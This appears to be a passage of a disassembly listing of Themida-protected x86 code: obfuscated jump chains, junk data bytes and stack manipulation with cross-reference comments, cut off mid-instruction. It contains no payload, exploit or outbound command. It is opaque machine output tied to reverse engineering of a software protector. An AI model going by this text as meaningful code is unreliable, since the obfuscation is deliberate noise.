jmp loc_56D596 ; --------------------------------------------------------------------------- dw 5A5Bh dd 0EB315468h, 0D8F75816h, 0BA7B870Fh, 4925FFFFh, 356B275Ch dd 56FE66F8h, 0BF58C389h, 0F596F4E4h, 0EC3E9h db 0 ; --------------------------------------------------------------------------- loc_55B221: ; CODE XREF: Themida_:005654CFj not ecx xor ecx, 7FBC0B39h dec ecx jmp loc_557036 ; --------------------------------------------------------------------------- loc_55B22F: ; CODE XREF: Themida_:0055CBBAj ; Themida_:00566202j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_56513F ; --------------------------------------------------------------------------- loc_55B242: ; CODE XREF: Themida_:0055BEDEj jmp loc_55EEDD ; --------------------------------------------------------------------------- loc_55B247: ; CODE XREF: Themida_:00568B42j push ecx mov ecx, 3DBF4E7Eh jmp loc_55D9EB ; --------------------------------------------------------------------------- aKsg db 'KИG]',0 align 4 loc_55B258: ; CODE XREF: Themida_:0055D919j dec ebx jnz loc_560B1E jmp loc_56AFCA ; --------------------------------------------------------------------------- dd 415BD929h, 0BB3475B3h, 0F75FFA89h, 0BDF0E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B276: ; CODE XREF: Themida_:0055671Dj pop ebx mov edx, [esp] jmp loc_56686A ; --------------------------------------------------------------------------- byte_55B27F db 0ADh ; DATA XREF: Themida_:005561A4o dd 0B222512Dh, 52D8014Ch, 0FFDEC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B28D: ; CODE XREF: Themida_:00556568j neg ebp inc ebp or ebp, 0ED62AA1h push esi mov esi, 67F608D4h jmp loc_567A67 ; --------------------------------------------------------------------------- loc_55B2A1: ; CODE XREF: Themida_:0055886Aj ; DATA XREF: Themida_:00556154o push dword ptr [esp] jmp loc_557974 ; --------------------------------------------------------------------------- loc_55B2A9: ; CODE XREF: Themida_:loc_567092j xor dword ptr [edx+30h], 374564E2h jz loc_568661 push ebx push 0D928B085h pop ebx sub [edx+30h], ebx pop ebx popa popf retn ; --------------------------------------------------------------------------- dd 0FFB01EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B2C9: ; CODE XREF: Themida_:005589BEj or ebp, 37F250Bh jmp loc_556FE4 ; --------------------------------------------------------------------------- loc_55B2D4: ; CODE XREF: Themida_:0055D384j mov ecx, 10E2E5C5h mov ebx, ecx jmp loc_560396 ; --------------------------------------------------------------------------- loc_55B2E0: ; CODE XREF: Themida_:0056D45Cj push 77D90C8Dh jmp loc_567CBF ; --------------------------------------------------------------------------- loc_55B2EA: ; CODE XREF: Themida_:0056BBE9j pop esp push 5ED3h mov [esp], esi jmp loc_556E2E ; --------------------------------------------------------------------------- loc_55B2F8: ; CODE XREF: Themida_:00567C4Cj sub esi, 8F82DE5Dh mov edi, esi pop esi sub edi, 68171BF2h sub ebp, 2C347779h add ebp, edi push ecx mov ecx, 2C347779h add ebp, ecx jmp loc_56385C ; --------------------------------------------------------------------------- dword_55B31C dd 0EFF05ADh, 0D829670Ch, 1F47BB53h, 0C381117Eh, 3D1E26A3h ; DATA XREF: Themida_:005560A0o dd 90A5800Fh, 0F3810000h, 47DF5ECEh, 828D840Fh, 0E2E90000h dd 5B0000CEh, 18C168h, 240C8900h, 1C63F2B9h, 0E9D1F76Eh dd 3BCDh, 0C581E589h, 4, 8704C583h, 40E9242Ch db 0EDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B36F: ; CODE XREF: Themida_:loc_55BAE0j inc esi jmp loc_568CA6 ; --------------------------------------------------------------------------- db 59h, 83h, 0ECh dd 241C8904h, 0CE17E9h, 0F8E28100h, 0F43E260h, 238F8Fh dd 5E2C100h, 0C51CE9h, 0E9753400h, 0FFFFEF0Dh ; --------------------------------------------------------------------------- loc_55B39C: ; CODE XREF: Themida_:00562E7Ej mov [esp], edi sub esp, 4 jmp loc_568113 ; --------------------------------------------------------------------------- loc_55B3AA: ; CODE XREF: Themida_:0056B5D0j and esi, 43011CC9h jb loc_557734 inc esi jno loc_56512D not esi xor esi, 9A208CB7h mov edi, esi push ebx loc_55B3C8: ; CODE XREF: Themida_:0055F297j mov ecx, 1E0238DAh push 33B2h mov [esp], edx push 2911h mov [esp], edi push 12581A05h pop edi not edi add edi, 1BF35086h push edi pop edx jmp loc_5654C6 ; --------------------------------------------------------------------------- dw 0C305h dd 1D5B1D2h, 0C385E9C1h, 0C2340000h, 0C3885352h, 885BDA88h dd 0A2E95AD5h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B40F: ; CODE XREF: Themida_:00562955j mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_55C1D1 ; --------------------------------------------------------------------------- db 87h dd 1E9240Ch db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B427: ; CODE XREF: Themida_:0055F0D7j mov dh, cl jmp loc_55F0C5 ; --------------------------------------------------------------------------- loc_55B42E: ; CODE XREF: Themida_:005635DEj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_567429 ; --------------------------------------------------------------------------- loc_55B43D: ; CODE XREF: Themida_:00562B55j xchg eax, [esp] pop esp add esp, 4 add ecx, 4 jmp loc_56BD48 ; --------------------------------------------------------------------------- loc_55B452: ; CODE XREF: Themida_:00567A95j sub ebx, 262718EEh sub ebx, eax jmp loc_56A081 ; --------------------------------------------------------------------------- loc_55B45F: ; CODE XREF: Themida_:005628BAj sub edi, eax jmp loc_55FAD7 ; --------------------------------------------------------------------------- loc_55B466: ; CODE XREF: Themida_:0056C856j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] movzx ax, byte ptr [eax] push ebx jmp loc_567FAB ; --------------------------------------------------------------------------- loc_55B482: ; CODE XREF: Themida_:00558821j mov ebx, [esp] jmp loc_566B3F ; --------------------------------------------------------------------------- dw 2B9h dd 0E9000000h, 0FFFFF014h, 0A34B4BEh, 8BF0296Dh, 0C4832434h dd 0CE27E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B4A6: ; CODE XREF: Themida_:0055EF41j mov esi, 3D3F13B4h push eax mov eax, 19535EC7h add ebp, eax pop eax jmp loc_56CD19 ; --------------------------------------------------------------------------- loc_55B4B9: ; CODE XREF: Themida_:0056267Dj push ebp jmp loc_565275 ; --------------------------------------------------------------------------- loc_55B4BF: ; CODE XREF: Themida_:00562FE6j mov esi, 5659775Ch shl esi, 4 neg esi push edi jmp loc_55DA49 ; --------------------------------------------------------------------------- loc_55B4CF: ; CODE XREF: Themida_:005590F3j ; Themida_:00569350j add al, 8Bh push 0E2Ch mov [esp], eax mov al, 1 jmp loc_5579C3 ; --------------------------------------------------------------------------- loc_55B4E0: ; CODE XREF: Themida_:0056146Bj jmp loc_556DC8 ; --------------------------------------------------------------------------- db 3 dup(43h) dd 29ECEB81h, 0DF0171A1h, 5B2434FFh, 627FE9h, 0F61DB100h dd 83D1F6D1h, 0ABE904ECh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B507: ; CODE XREF: Themida_:00569D8Cj add ebx, 477801D4h add ebx, edx sub ebx, 477801D4h jmp loc_566807 ; --------------------------------------------------------------------------- loc_55B51A: ; CODE XREF: Themida_:00560B2Dj add eax, 3B54780Ch add eax, ecx sub eax, 3B54780Ch mov ecx, [esp] add esp, 4 mov esi, [esp] jmp loc_55F5FF ; --------------------------------------------------------------------------- db 89h dd 4685FFEh, 89000063h, 0FBBF243Ch, 0E9752D53h, 10FBDh ; --------------------------------------------------------------------------- loc_55B54C: ; CODE XREF: Themida_:005619D9j sub ax, 5BAAh pop ebx mov cx, [esp] push 6052h mov [esp], ebx mov ebx, esp jmp loc_567A21 ; --------------------------------------------------------------------------- dd 88E95346h db 0FEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B56B: ; CODE XREF: Themida_:0056AC3Fj add dword ptr [esp], 4 push dword ptr [esp] pop edx jmp loc_56A46F ; --------------------------------------------------------------------------- loc_55B57B: ; CODE XREF: Themida_:005661E6j jmp loc_5686B2 ; --------------------------------------------------------------------------- loc_55B580: ; CODE XREF: Themida_:005633BEj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push ebx push eax mov eax, 18B86473h push ebp mov ebp, 11A06B16h and ebp, 4B315A75h shl ebp, 6 xor ebp, 4DAE62F4h dec ebp or ebp, 12811EAAh sub ebp, 0BB655743h jmp loc_566F26 ; --------------------------------------------------------------------------- loc_55B5C0: ; CODE XREF: Themida_:0055A0EBj mov esp, [esp] sub al, cl push small 28EAh mov [esp], bx jmp loc_55FF58 ; --------------------------------------------------------------------------- loc_55B5D2: ; CODE XREF: Themida_:0055F718j xor ebp, 72CC6BD8h add ebp, 0CA1B21E8h jmp loc_56A699 ; --------------------------------------------------------------------------- loc_55B5E3: ; CODE XREF: Themida_:0055952Fj ; Themida_:00563347j mov [esp], eax push ebx mov bh, 8Ch mov ah, 0E8h add ah, bh pop ebx push edx mov dl, ah mov cl, dl pop edx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55C5D2 ; --------------------------------------------------------------------------- loc_55B612: ; CODE XREF: Themida_:00561BAFj sub ebx, 27B32815h add ebx, 1F285CE7h pop ebp add ebx, edi push eax mov eax, 251B560Dh jmp loc_55A99B ; --------------------------------------------------------------------------- aEh8 db 'Ehщ8',0 align 2 dd offset dword_5147D4+515h db 0 ; --------------------------------------------------------------------------- loc_55B637: ; CODE XREF: Themida_:005653F8j mov ecx, [esp] jmp loc_567D9C ; --------------------------------------------------------------------------- loc_55B63F: ; CODE XREF: Themida_:00568523j push ecx jmp loc_55A16D ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 85E95F04h, 8300002Bh, 1C8704C3h, 48F5C24h, 72D3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B65E: ; CODE XREF: Themida_:005575D7j add esp, 4 inc ch jnz loc_56BB63 sub esp, 4 mov [esp], eax jmp loc_56C44C ; --------------------------------------------------------------------------- loc_55B674: ; CODE XREF: Themida_:005673F2j push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56B581 ; --------------------------------------------------------------------------- loc_55B686: ; CODE XREF: Themida_:00567385j mov edx, [esp] add esp, 4 sub eax, 563A0ED6h jmp loc_562A51 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FFE401E9h, 3BEB81FFh, 0E93EFD1Bh, 0DDE1h, 0FFAC36E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6B1: ; CODE XREF: Themida_:0055A6A0j add ebx, 4 xchg ebx, [esp] mov esp, [esp] mov eax, ebp mov ebp, [esp] jmp loc_560F8F ; --------------------------------------------------------------------------- dd 4C481h, 0EC830000h, 24148904h, 0FFBF12E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6D5: ; CODE XREF: Themida_:0055E0F3j push ebp mov ebp, 4 sub ebx, 437A7806h add ebx, ebp add ebx, 437A7806h pop ebp xchg ebx, [esp] pop esp shl eax, cl push edx push eax jmp loc_563CED ; --------------------------------------------------------------------------- loc_55B6F7: ; CODE XREF: Themida_:0055D50Aj jmp loc_569C27 ; --------------------------------------------------------------------------- loc_55B6FC: ; CODE XREF: Themida_:00558FACj xor edx, [esp] pop esp push ebp jmp loc_55DD4F ; --------------------------------------------------------------------------- loc_55B706: ; CODE XREF: Themida_:0055D158j sub ebp, 6BE4155Ah add ebp, edx add ebp, 6BE4155Ah pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor ebx, eax pop small word ptr [eax] jmp loc_55AA88 ; --------------------------------------------------------------------------- loc_55B729: ; CODE XREF: Themida_:00561934j push eax jmp loc_56028A ; --------------------------------------------------------------------------- db 57h dd 0BB43BBBFh, 9FF78105h, 8135BB4Ah, 1050E9E7h, 0ABC78110h dd 0E90EA96Dh, 0FFFFC8DEh ; --------------------------------------------------------------------------- loc_55B74C: ; CODE XREF: Themida_:0056773Fj push edx mov edx, esp add edx, 4 jmp loc_5666CD ; --------------------------------------------------------------------------- loc_55B75A: ; CODE XREF: Themida_:0055DB85j sub esp, 4 mov [esp], ebp push ecx push ebx mov ebx, 437F3503h jmp loc_56ABF3 ; --------------------------------------------------------------------------- loc_55B76F: ; CODE XREF: Themida_:loc_569417j and ebx, 32F309DEh sub ebx, 0BEC6D0B7h mov edi, ebx pop ebx mov ebx, 0AE14C7E9h add ebx, edi pop edi add edi, 509605F3h add edi, 5F8E05E6h add edi, ebx push ebx mov ebx, 5F8E05E6h jmp loc_557543 ; --------------------------------------------------------------------------- loc_55B79F: ; CODE XREF: Themida_:0055B90Fj add ebx, esi pop esi sub ebp, 39DF2302h add ebp, ebx add ebp, 39DF2302h pop ebx push eax mov eax, 4 add ebp, eax pop eax sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_567552 ; --------------------------------------------------------------------------- dd 23A9EB81h, 0E3810BECh, 63566AE7h, 1529CB81h, 82E97986h dd 290000F2h, 4B12DD8h, 282D0C8Fh, 2D103E54h, 7A901FD2h dd 94B4E9h db 0 ; --------------------------------------------------------------------------- loc_55B7FD: ; CODE XREF: Themida_:005675B2j mov edi, 23F734F2h sub edi, 1B83FA3Bh jmp loc_55F71D ; --------------------------------------------------------------------------- loc_55B80D: ; CODE XREF: Themida_:005654A4j pop esi mov edi, [esp] push 2906h mov [esp], ebx jmp loc_55F6FC ; --------------------------------------------------------------------------- loc_55B81E: ; CODE XREF: Themida_:00560A98j shr bl, 1 neg bl shl bl, 4 add bl, 15h xor ch, bl pop ebx add dh, ch pop ecx or bh, dh push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_55F5B9 ; --------------------------------------------------------------------------- loc_55B845: ; CODE XREF: Themida_:00562D9Cj add esp, 4 add eax, edi jmp loc_56659F ; --------------------------------------------------------------------------- loc_55B84F: ; CODE XREF: Themida_:00563ACBj mov [esp], ecx mov ch, 1Fh push dx push ecx jmp loc_560002 ; --------------------------------------------------------------------------- loc_55B85C: ; CODE XREF: Themida_:005637D8j sub eax, 799A0D58h neg eax add eax, 0B2AA4011h add ebp, eax pop eax jmp loc_557485 ; --------------------------------------------------------------------------- loc_55B870: ; CODE XREF: Themida_:loc_55709Dj neg edx add edx, 225B6E86h push esi mov esi, 581365ADh jmp loc_55EF46 ; --------------------------------------------------------------------------- loc_55B883: ; CODE XREF: Themida_:0056202Ej sub ebx, 3CE926CFh jmp loc_55DB19 ; --------------------------------------------------------------------------- loc_55B88E: ; CODE XREF: Themida_:0056AFA2j xor edi, 3670698Ah and edi, 8F63A24h jmp loc_558189 ; --------------------------------------------------------------------------- loc_55B89F: ; CODE XREF: Themida_:0055B0B1j pop dword ptr [esp] jmp loc_55E21B ; --------------------------------------------------------------------------- loc_55B8A7: ; CODE XREF: Themida_:0055E877j inc al xor al, 0Ah xor dh, al pop eax add al, dh pop edx push ebx mov bh, al jmp loc_565D18 ; --------------------------------------------------------------------------- loc_55B8B9: ; CODE XREF: Themida_:00563F97j add ebx, 13A61599h sub ebx, ecx sub ebx, 13A61599h jmp loc_55AE64 ; --------------------------------------------------------------------------- dd 4F82860Fh, 85680000h, 89000029h, 11B82404h, 256F947Dh dd 353263C3h, 6905D0F7h, 3136F56Fh, 0A37E9C6h, 74290001h dd 0E95E0424h, 0DA92h ; --------------------------------------------------------------------------- loc_55B8FC: ; CODE XREF: Themida_:00568BD3j sub esp, 4 mov [esp], esi mov esi, 7EA8227Ch mov ebx, 8157DD88h jmp loc_55B79F ; --------------------------------------------------------------------------- loc_55B914: ; CODE XREF: Themida_:0056B301j mov [esp], esi jmp loc_56A79D ; --------------------------------------------------------------------------- dd 0F705EEC1h, 2F3EE9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B926: ; CODE XREF: Themida_:005605C6j pop esi mov ebp, edi pop edi neg ebp shr ebp, 5 neg ebp jmp loc_562AE0 ; --------------------------------------------------------------------------- dw 0C280h dd 0E9D0008Dh, 5C30h ; --------------------------------------------------------------------------- loc_55B940: ; CODE XREF: Themida_:005636C4j add dl, al push dword ptr [esp] pop eax add esp, 4 mov ebx, [esp] push edx jmp loc_5574BB ; --------------------------------------------------------------------------- db 81h, 0C1h, 0FBh dd 0FF078836h, 83582434h, 685F04C4h, 4628h, 89240489h dd 0F6DAE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B972: ; CODE XREF: Themida_:0055665Ej ; Themida_:00568DB2j jp loc_567813 shl ecx, 1 jnp loc_56BD48 jz loc_55A9BC loc_55B986: ; CODE XREF: Themida_:0056BF12j pop ebp xchg esi, [esp] pop esp push esp jmp loc_55CAE7 ; --------------------------------------------------------------------------- loc_55B991: ; CODE XREF: Themida_:0056BF0Bj mov ebp, esp add ebp, 4 jmp loc_562BC9 ; --------------------------------------------------------------------------- dw 0CB81h dd 0D917CA1h, 4CD6EB81h, 7FE94CBAh db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B9AF: ; CODE XREF: Themida_:005591C3j ; Themida_:0055DB24j pop edx push 735h mov [esp], eax jmp loc_56153E ; --------------------------------------------------------------------------- loc_55B9BD: ; CODE XREF: Themida_:00565246j sub ch, 0F3h jp loc_569C7C push ebx mov bh, 97h push cx jmp loc_56881C ; --------------------------------------------------------------------------- dd 33E95758h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B9D7: ; CODE XREF: Themida_:00567E49j pop ebp xor ebp, 7F036DA3h push dword ptr [esp] pop edi add esp, 4 jmp loc_557421 ; --------------------------------------------------------------------------- loc_55B9ED: ; CODE XREF: Themida_:00563C99j sub eax, 0CCA916D0h sub ebx, 45467948h sub ebx, eax push eax mov eax, 45467948h jmp loc_5692E5 ; --------------------------------------------------------------------------- a_htn db '_htN',0 dw 8900h dd 71BB241Ch, 0E922B576h, 0FFFFFACDh ; --------------------------------------------------------------------------- loc_55BA18: ; CODE XREF: Themida_:005594B3j mov edi, 0CC905E8h jmp loc_56B515 ; --------------------------------------------------------------------------- loc_55BA22: ; CODE XREF: Themida_:0056AD49j dec eax add eax, 77FEF2EBh mov edx, eax mov eax, [esp] add esp, 4 add ebx, edx jmp loc_556807 ; --------------------------------------------------------------------------- dw 0E9E9h dd 2900011Ch, 6D4E2DF8h, 56E91090h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA4B: ; CODE XREF: Themida_:00567113j shl ecx, 3 sub ecx, 499AB26Bh xor esi, ecx jmp loc_56A906 ; --------------------------------------------------------------------------- db 89h dd 4682404h, 58000000h, 48BC101h, 4EC8124h, 89000000h dd 0E189240Ch, 0F6F3E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA7A: ; CODE XREF: Themida_:0055A0F4j push edx mov edx, esp push ecx mov ecx, 0DAA3ADDh shl ecx, 4 shl ecx, 4 push esi jmp loc_55D6ED ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0D735E904h, 52660000h, 0D70891B2h, 0B6525A66h dd 22C680DBh, 25F8E9h db 0 ; --------------------------------------------------------------------------- loc_55BAAD: ; CODE XREF: Themida_:0056477Fj sub ch, 3Ah dec ch jmp loc_56C76A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EC8300h, 0FFE0ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BAC5: ; CODE XREF: Themida_:0055F44Fj mov esi, ebx jmp loc_55DDA7 ; --------------------------------------------------------------------------- dd 4C281h, 0EC810000h, 4, 0E9243C89h, 0FFFFD0FCh ; --------------------------------------------------------------------------- loc_55BAE0: ; CODE XREF: Themida_:005573D6j jg loc_55B36F inc esi jmp loc_55CE43 ; --------------------------------------------------------------------------- dd 4EC8359h db 55h ; --------------------------------------------------------------------------- loc_55BAF1: ; CODE XREF: Themida_:0055CC16j or ebp, 534E5876h add ebp, 0ACB19F00h and [edi+1Ch], ebp mov ebp, [esp] add esp, 4 jmp loc_568C8E ; --------------------------------------------------------------------------- loc_55BB0B: ; CODE XREF: Themida_:00559C5Cj push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_556821 ; --------------------------------------------------------------------------- loc_55BB18: ; CODE XREF: Themida_:0056707Dj add ebx, 4 push ebp jmp loc_56C1AE ; --------------------------------------------------------------------------- dd 11DBEA81h, 0C6E91CBEh db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB2F: ; CODE XREF: Themida_:0056D500j sub esp, 4 mov [esp], ebp push 72A5h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] jmp loc_55AA9D ; --------------------------------------------------------------------------- loc_55BB4D: ; CODE XREF: Themida_:0056190Aj add ecx, esi mov esi, [esp] add esp, 4 add edi, ecx jmp loc_5586F8 ; --------------------------------------------------------------------------- dd 0DF78B6BEh, 81D6F71Fh, 0C22BCCE6h, 1AC68129h, 314BAB3Ah dd 24348BF2h, 4A04C483h, 9852F281h, 0C681FFF1h, 66D72762h dd 0E4E9D601h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB8B: ; CODE XREF: Themida_:00556E5Aj sub eax, 3875485Ch jb loc_564707 jmp loc_55870B ; --------------------------------------------------------------------------- db 89h dd 0FE92424h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBA3: ; CODE XREF: Themida_:0055C48Dj pop ebx xchg edi, [esp] pop esp idiv cx push small 54EEh mov [esp], dx push ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55BBBB: ; CODE XREF: Themida_:loc_5684E7j sub bl, 91h inc bl xor bl, 54h jg loc_563A72 xor bl, 9 jmp loc_5605BF ; --------------------------------------------------------------------------- db 51h, 0B9h, 4Dh dd 0F70E7654h, 91E181D9h, 813EBF7Dh, 6C05F3E9h, 0A9C1810Bh dd 0E9475925h, 256Ch, 0FFA6F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BBF5: ; CODE XREF: Themida_:00559E32j push ecx add dword ptr [esp], 1ACE6FA5h pop ebx sub ebx, 1ACE6FA5h mov ecx, [esp] add esp, 4 jmp loc_565B8B ; --------------------------------------------------------------------------- loc_55BC12: ; CODE XREF: Themida_:005629FEj mov ebx, [esp] add esp, 4 pop ebx push eax mov eax, 20E40057h jmp loc_5569D7 ; --------------------------------------------------------------------------- aQstx db 'QИ▓x',0 dd 241C3000h, 0E9241C32h, 78C1h, 4DB3850Fh, 0C40D0000h dd 0E9280674h, 59C4h dword_55BC48 dd 24048B66h, 3C4F68h, 242C8900h, 0FE29E9h ; DATA XREF: Themida_:0055628Co db 0 ; --------------------------------------------------------------------------- loc_55BC59: ; CODE XREF: Themida_:0056681Fj pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_564576 ; --------------------------------------------------------------------------- loc_55BC65: ; CODE XREF: Themida_:loc_56873Bj not ebx inc ebx push esi jmp loc_56D20B ; --------------------------------------------------------------------------- loc_55BC6E: ; CODE XREF: Themida_:0055C36Ej jmp loc_55F913 ; --------------------------------------------------------------------------- loc_55BC73: ; CODE XREF: Themida_:0056C25Cj push ebx mov ebx, 707E7DBBh mov edi, 0D6F5DD80h jmp loc_56A85F ; --------------------------------------------------------------------------- loc_55BC83: ; CODE XREF: Themida_:0055DA56j mov edi, [esp] push esi mov esi, esp add esi, 4 jmp loc_56CD67 ; --------------------------------------------------------------------------- loc_55BC94: ; CODE XREF: Themida_:0055E4B9j sub esp, 4 mov [esp], edx push 538518E9h jmp loc_55E5A8 ; --------------------------------------------------------------------------- loc_55BCA4: ; CODE XREF: Themida_:00556FBEj add cx, 0A40h sub cx, si sub cx, 0A40h mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push small 483Dh mov [esp], bx mov bx, 66BFh sub ax, bx mov bx, [esp] jmp loc_55F49A ; --------------------------------------------------------------------------- loc_55BCDF: ; CODE XREF: Themida_:00569BF5j jl loc_56C84B jmp loc_55760A ; --------------------------------------------------------------------------- loc_55BCEA: ; CODE XREF: Themida_:00559DB9j ; Themida_:005617F1j push 507Bh mov [esp], ebx push ecx push eax sub esp, 4 mov [esp], ecx mov ecx, 42464292h mov eax, 4BC04E0Dh xor eax, ecx jmp loc_55A4F9 ; --------------------------------------------------------------------------- loc_55BD0B: ; CODE XREF: Themida_:0056063Aj sub edi, 648457ECh and edi, 615B04A1h shl edi, 8 sub edi, 4C7E0F8Eh add edi, 1 sub edi, 0B381F06Fh add ebp, edi pop edi add ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_562B3A ; --------------------------------------------------------------------------- loc_55BD40: ; CODE XREF: Themida_:0055FDBAj push eax mov ah, 0DFh jmp loc_56B4BE ; --------------------------------------------------------------------------- dd 83242C8Bh, 0E95204C4h, 4A9Dh ; --------------------------------------------------------------------------- loc_55BD54: ; CODE XREF: Themida_:0055A910j xchg ebx, [esp] jmp loc_56B746 ; --------------------------------------------------------------------------- loc_55BD5C: ; CODE XREF: Themida_:00562D0Aj sub ebp, 3A7A4257h add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] add ebx, esi push dword ptr [esp] push dword ptr [esp] jmp loc_558E74 ; --------------------------------------------------------------------------- loc_55BD78: ; CODE XREF: Themida_:0055FDD0j xor ebp, ebx pop ebx push ebp add dword ptr [esp], 88D7135h pop eax sub eax, 88D7135h push dword ptr [esp] pop ebp add esp, 4 push 7AEBh mov [esp], edx jmp loc_558814 ; --------------------------------------------------------------------------- loc_55BDA0: ; CODE XREF: Themida_:loc_5683FBj push bx mov bl, 41h and al, bl pop bx xor al, cl xor cl, al xor al, cl neg cl jmp loc_565E8A ; --------------------------------------------------------------------------- loc_55BDB5: ; CODE XREF: Themida_:0055C119j mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp] pop esp jmp loc_563F6C ; --------------------------------------------------------------------------- dw 0E781h dd 72D81764h, 3EC7814Fh, 1E7E2B6h, 0F1015FFEh, 4C1815Eh dd 87000000h, 0E95C240Ch, 48B9h ; --------------------------------------------------------------------------- loc_55BDE8: ; CODE XREF: Themida_:loc_5637A8j push ecx push ebp jmp loc_55F161 ; --------------------------------------------------------------------------- loc_55BDEF: ; CODE XREF: Themida_:0055C789j push edx mov edx, 4 jmp loc_55F9EA ; --------------------------------------------------------------------------- loc_55BDFA: ; CODE XREF: Themida_:005625AAj mov eax, esp add eax, 4 jmp loc_562B5A ; --------------------------------------------------------------------------- dw 248Bh dd 0ADFCE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE0E: ; CODE XREF: Themida_:0056137Dj mov esi, [esp] jmp loc_561D50 ; --------------------------------------------------------------------------- loc_55BE16: ; CODE XREF: Themida_:0055E89Dj pop ebp shr ecx, 4 dec ecx shl ecx, 8 sub ecx, 7D8C17DDh and ecx, 6BB0CF8h jmp loc_56BC8A ; --------------------------------------------------------------------------- loc_55BE2F: ; CODE XREF: Themida_:00566DA1j or ebx, edi mov edi, [esp] add esp, 4 push 0 add dword ptr [esp], 7ED36FBBh sub [esp], ebx sub dword ptr [esp], 7ED36FBBh mov ebx, [esp] add esp, 4 xor ebx, 1108401Ah shl ebx, 4 jmp loc_55FD4F ; --------------------------------------------------------------------------- loc_55BE64: ; CODE XREF: Themida_:0055F08Dj sub ebx, ecx pop ecx add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax jmp loc_56B6C3 ; --------------------------------------------------------------------------- loc_55BE7C: ; CODE XREF: Themida_:0055D9ABj shr eax, 0Ch xor eax, ecx push ecx mov ecx, esp push 3504h mov [esp], ebx jmp loc_55D41B ; --------------------------------------------------------------------------- loc_55BE91: ; CODE XREF: Themida_:0055DE2Bj mov ecx, [esp] add esp, 4 mov [edx], bl pop ebx mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5641E5 ; --------------------------------------------------------------------------- dd 5C8015Bh, 2CE0BE8h, 592434FFh, 0E9E38953h, 8792h ; --------------------------------------------------------------------------- loc_55BEC4: ; CODE XREF: Themida_:005686B8j ; Themida_:0056CEB9j sub ax, 1322h pop ebp sub esp, 2 mov [esp], cx jmp loc_56BA13 ; --------------------------------------------------------------------------- loc_55BED8: ; CODE XREF: Themida_:loc_55D0FEj or ebx, 15A272D1h jno loc_55B242 jmp loc_5611FB ; --------------------------------------------------------------------------- db 51h, 0B9h, 7Eh dd 893DBF4Eh, 0EA1FE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEF6: ; CODE XREF: Themida_:005645E6j ; Themida_:00567482j pop ebp add ecx, edx jmp loc_559883 ; --------------------------------------------------------------------------- loc_55BEFE: ; CODE XREF: Themida_:00564D91j push 4A39h mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_556C1F ; --------------------------------------------------------------------------- loc_55BF10: ; CODE XREF: Themida_:0056A911j pop ebx jmp loc_566E0D ; --------------------------------------------------------------------------- dw 248Bh dd 2434FF24h, 592434FFh, 115368h, 240C8900h, 0D23CE9h dd 243C8700h, 240C895Ch, 27B4E9h, 0E7EA8100h, 5521EF1Fh dd 84AF06BDh, 5DEA29E8h, 815AD509h, 29A8D1F5h, 9191E9E2h dd 0C4830000h, 0F1D1E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF5E: ; CODE XREF: Themida_:0055AAF1j push edi mov edi, 4 sub edx, edi jmp loc_560EC2 ; --------------------------------------------------------------------------- loc_55BF6B: ; CODE XREF: Themida_:0056C3F7j mov esi, 47B469ADh jmp loc_561A0B ; --------------------------------------------------------------------------- loc_55BF75: ; CODE XREF: Themida_:0055EED8j add dword ptr [esp], 